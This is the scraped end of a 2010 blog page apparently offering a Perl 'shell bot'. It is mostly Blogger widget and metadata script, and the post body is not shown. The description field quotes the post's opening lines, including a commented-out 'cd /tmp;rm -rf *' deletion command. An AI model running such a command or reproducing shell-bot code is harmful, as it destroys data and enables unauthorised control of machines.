'adsenseAutoAds': false, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/da8f33dd880cc4f1', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'X', 'key': 'twitter', 'shareMessage': 'Share to X', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'item', 'postId': '4090825350203099149', 'pageName': 'Mizok Bot V3.2 PRiVaTE Sh3llBoT', 'pageTitle': '-\x3d[ D4wFl1N ]\x3d-: Mizok Bot V3.2 PRiVaTE Sh3llBoT'}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': false, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Mizok Bot V3.2 PRiVaTE Sh3llBoT', 'description': 'Code : \x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d #!/usr/bin/perl #system \x27cd /tmp;rm -rf *\x27; # # Mizok Bot V3.2 PRiVaT...', 'url': 'http://d4wfl1n.blogspot.com/2010/07/mizok-bot-v32-private-sh3llbot.html', 'type': 'item', 'isSingleItem': true, 'isMultipleItems': false, 'isError': false, 'isPage': false, 'isPost': true, 'isHomepage': false, 'isArchive': false, 'isLabelSearch': false, 'postId': 4090825350203099149}}]); _WidgetManager._RegisterWidget('_NavbarView', new _WidgetInfo('Navbar1', 'navbar', document.getElementById('Navbar1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', document.getElementById('Header1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_PageListView', new _WidgetInfo('PageList1', 'crosscol', document.getElementById('PageList1'), {'title': 'Pages', 'links': [{'isCurrentPage': false, 'href': 'http://d4wfl1n.blogspot.com/', 'title': '- home -'}], 'mobile': false, 'showPlaceholder': true, 'hasCurrentPage': false}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/2646514562-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/1964470060-lightbox_bundle.css'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML4', 'sidebar', document.getElementById('HTML4'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_FollowersView', new _WidgetInfo('Followers1', 'sidebar', document.getElementById('Followers1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML8', 'sidebar', document.getElementById('HTML8'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogArchiveView', new _WidgetInfo('BlogArchive1', 'sidebar', document.getElementById('BlogArchive1'), {'languageDirection': 'ltr', 'loadingMessage': 'Loading\x26hellip;'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_AttributionView', new _WidgetInfo('Attribution1', 'sidebar', document.getElementById('Attribution1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList1', 'sidebar', document.getElementById('LinkList1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_PopularPostsView', new _WidgetInfo('PopularPosts1', 'sidebar', document.getElementById('PopularPosts1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML2', 'sidebar', document.getElementById('HTML2'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML1', 'sidebar', document.getElementById('HTML1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML7', 'sidebar', document.getElementById('HTML7'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML5', 'sidebar', document.getElementById('HTML5'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML10', 'sidebar', document.getElementById('HTML10'), {}, 'displayModeFull')); </script> </body> </html>

-=[ D4wFl1N ]=-

Pages

22 July 2010

Mizok Bot V3.2 PRiVaTE Sh3llBoT